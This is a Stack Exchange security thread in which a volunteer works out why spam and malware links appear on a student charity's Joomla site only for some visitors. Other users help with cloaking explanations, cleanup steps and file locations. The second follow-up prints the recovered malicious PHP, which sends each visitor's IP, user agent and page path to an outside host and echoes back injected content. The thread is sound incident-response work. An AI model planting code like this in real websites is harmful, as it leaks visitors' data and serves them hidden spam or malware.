Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

Please see second followup at the bottom! (Now with added real malicious code! ...ish)


Prompted by this question, I've noticed that my university's student charity organisation has an interesting problem on their website that I've been so far unable to find the cause of. (Apologies if this would be better off on ServerFault, but it doesn't seem to be anything wrong with the server itself, more of a malware issue somewhere along the line!)

Their website, http://duck.dsu.org.uk/ has a whole load of porno/malware-links on the bottom of the page (it looks like this to me), but I think, only when you view it from an O2 Broadband connection. If you view it within the university's network or another ISP, nothing shows up on the bottom at all, and, unsurprisingly, within the CMS admin pages, nothing shows up as being in either the template or the pages.

I'm 99% sure the server isn't located within the university's network, looking at its IP (think it's hosted by 'A Small Orange'). I'm definitely not the only person to have seen this issue, although I'm not sure whether it is specific to just a single UK ISP, O2 Broadband (A friend on a different ISP, TalkTalk has confirmed that he sees nothing). I've never seen anything like this before that hasn't been a simple case of the server being hacked into and code input to the page.

I would appreciate any ideas as to routes to look into to resolving this, any ideas on what might be causing this, and any other advice!

Thanks.


Right, now in followup to the previous (thank you all for your help), I have now managed to convince the web-hosting company to give me SSH access. I have discovered that the .htaccess file has been modified, and the current .htaccess file is as follows: link, which I'm assuming is at least part of the problem. From a cleanup point of view (in terms of moving forward / getting the site clean again), I know that I should be wiping the entire server and starting again.

However, it's a shared hosting server, and so I can't wipe it, as I don't have control of the whole server. I've pointed out to the webhosts that it has been hacked, and their advice was:

The account is a shared hosting account, but access is limited to just the account itself. No modifications can be made to the server itself from a user level compromise.

As nothing on the server has been compromised (only your account), the jailshell access provided will be sufficient for you to investigate and clean up this account.

Is this true? Can I clean it up properly? I'm guessing that if they used a vulnerability in the software running on my site (i.e. Joomla), then yes, it'll only be my part of the server that has been compromised. If however it was a vulnerability in the OS that the server's running, then obviously the whole lot could be compromised - is there any way to work out which it might be?

In before links: I have seen & read all of this.

...and I've now got the logs showing what they've done:

Thu Feb 02 14:35:46 2012 0 213.5.xxx.xxx 45 /home/durhamdu/__check.html a _ i r durhamdu ftp 1 * c
Thu Feb 02 14:35:49 2012 0 213.5.xxx.xxx 45 /home/durhamdu/public_html/__check.html a _ i r durhamdu ftp 1 * c
Thu Feb 02 14:35:53 2012 0 213.5.xxx.xxx 34957 /home/durhamdu/public_html/libraries/joomla/environment/url.php a _ i r durhamdu ftp 1 * c

Mon Apr 09 04:21:53 2012 0 128.127.xxx.xxx 45 /home/durhamdu/__check.html a _ i r durhamdu ftp 1 * c
Mon Apr 09 04:22:00 2012 0 128.127.xxx.xxx 45 /home/durhamdu/public_html/__check.html a _ i r durhamdu ftp 1 * c
Mon Apr 09 04:22:06 2012 0 128.127.xxx.xxx 1457 /home/durhamdu/public_html/mooving/check.php a _ i r durhamdu ftp 1 * c
Mon Apr 09 04:22:09 2012 0 128.127.xxx.xxx 17986 /home/durhamdu/public_html/mooving/laundro.php a _ i r durhamdu ftp 1 * c
Mon Apr 09 04:22:18 2012 0 128.127.xxx.xxx 52457 /home/durhamdu/public_html/.htaccess a _ i r durhamdu ftp

The files referred to aren't there any more, but the links are still showing up, and even though I've changed the filename of the suspicious .htaccess file. Hmm...


Ok, so in second followup, I've now found the malicious code, for your collective perusal:

<?php   
// This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $sReferer = '';
    if(isset($_SERVER['HTTP_REFERER']) === true)
    {
        $sReferer = strtolower($_SERVER['HTTP_REFERER']);
    }
    $stCurlHandle = NULL;
    if(!(strpos($sUserAgent, 'google') === false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true) // Create  bot analitics         
        $stCurlHandle = curl_init('http://webdefense1.net/Stat/StatJ/Stat.php?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']).'&ref='.urlencode($sReferer)); 
    } else
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true) // Create  bot analitics         
        $stCurlHandle = curl_init('http://webdefense1.net/Stat/StatJ/Stat.php?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck='.'&check='.isset($_GET['look']).'&ref='.urlencode($sReferer)); 
    }
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    $sResult = curl_exec($stCurlHandle); 
    curl_close($stCurlHandle); 
    echo $sResult; // Statistic code end
?>

I've obviously now removed it, and am about to patch the Joomla install.. thanks for your help everyone! :-)

share|improve this question
1  
Could be added by a proxy. Did you look at the page source? –  EricM May 8 '12 at 15:22
    
Don't know. The full HTML source as I see it is available here: braindetour.com/personal/duck-malware.html –  Savara May 8 '12 at 15:48
    
(Obviously images don't work etc., but source code is just copied & pasted) –  Savara May 8 '12 at 15:49
1  
I don't see anything helpful there. I'm supposing that this doesn't show up on other sites you access. Robtex shows many other servers using the same IP: http://www.robtex.com/ip/184.173.73.180.html It could be a proxy or doing a redirect to a virtual server. –  EricM May 8 '12 at 17:12
    
My guess the content is being served no matter what its just that the content filtering your school uses is blocking said content. –  Ramhound May 9 '12 at 12:03
show 3 more comments

5 Answers

up vote 5 down vote accepted

I believe that the server has been modified so that it only serves the page with the links to certain people who access it.

This is evident when you look at the Google cache for the page: http://webcache.googleusercontent.com/search?q=cache:Tey48OeBDBgJ:duck.dsu.org.uk/+&cd=1&hl=en&ct=clnk&gl=uk which shows the links in your screen shot.

This is a common tactic used so that to users of the website the links don't appear but to search engines they do. This is done because these links are used in SEO attacks and the perpetrator only cares that search engines see the links.

It would seem that whatever technique is being used mistakenly identifies O2 broadband users as being a search engine bot and is therefore being shown the links.

Another possibility is that the page has had the links removed but O2 and Google are both serving a cached version of the page with the links still on.

share|improve this answer
    
Thanks for this; this sounds quite likely. I don't think it's your last option, as things such as the latest tweets have been updated correctly & regularly. Who might have modified it? Do you think this might be some cheap-ass web-host doing so very cheekily, or is this a compromised server? –  Savara May 8 '12 at 20:55
    
Also, would they be (mistakenly) identifying O2 users through IP address, or through something like a browser ID token (don't know what its technical name is...!) or something? –  Savara May 8 '12 at 20:59
2  
My guess would be that the host/website has been compromised. If you can get in touch with the people they really ought to start afresh but the links could be in a htaccess file, .php file (index / footer) or the database. They probably got in through a common vulnerability in the CMS they use. I'm not sure if they're going on user agent or IP. It's possible O2 inject a user-agent string so that would explain that. –  Andy Smith May 8 '12 at 20:59
    
Thanks ever so much. –  Savara May 8 '12 at 21:59
add comment

Sounds like the web server may have been compromised.

Bad guys have started getting sneaky. Instead of inserting links into the page naively, some bad guys will arrange that only certain users see the modified version of the web page. (I've definitely seen this filtering done using the Referer header, but I've heard of it being done by IP address as well.)

If the server has been compromised, search this site for how to recover from a hack. Basically, you're going to have to "nuke it from orbit": erase, reformat, reinstall from scratch, update all the software, lock down the server, restore the data from an old known-good backup, and only then bring it back live onto the public Internet.

share|improve this answer
add comment

One of my clients has the same problem on a Joomla install. I tracked it down to the following files:

../public_html/libraries/joomla/environment/url.php

and

../public_html/templates/THEME_NAME/index.php

The url.php file is a dummy file, so just delete that one. The index file is a bit messier. What I did was simply delete the one in the folder and then upload a new one from another install of the same theme. You could pick out the hacks line by line if you wanted, but if you've used the theme elsewhere just copy the good version into the hacked site.

This seems to have held, so I believe that was the only damage it did.

The hack seems to be aimed at sending IP addresses and computer details to an email address, presumably so they can then effectively target your PC. Don't send the email!

share|improve this answer
add comment

maybe your ISP have DNS changer malware which direct users to another website similar to the University web server try to to browse the website with it is IP address which is 184.173.73.180 for me , What IP address you get when you ping the Web Server ...?

share|improve this answer
    
Nope, I get 184.173.73.180 as well. I'm using Google's DNS servers, (8.8.8.8/8.8.4.4), but my friend who is also on O2BB and saw the same thing is using O2's DNS servers. –  Savara May 8 '12 at 15:10
add comment

I have found almost exactly the same problem with the Website owned by my daughter.

It is Joomla based. In the PHP for the pages I have found almost exactly the same code as shown on this blog.I have temporarily removed this code and now the links are not appearing.

The hack came to light when a friend reported the malicious link/s to my daughter. he was using O2 - but we had never seen the links - we use Virgin Media and Sky.

The Joomla site is Hosted by Rochen who 'supply' the Joomla. We therefore only have control of our own site - which was developed by a consultant who no longer wishes to maintain the site.

I got involved because I have 35+ years computing experience - including website, progam generator writing, compiler writing, PHP etc.

My other daughter is also helping - 1st Class Degree in computing from Leeds University.

We have yet to locate the malicious code on the site involved any comments or tips would be welcome.

share|improve this answer
    
I removed the malicious code involved (as described above), patched Joomla (are you using the latest version?) and changed all the FTP passwords. Let me know if that doesn't help matters... –  Savara Jan 6 '13 at 17:28
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.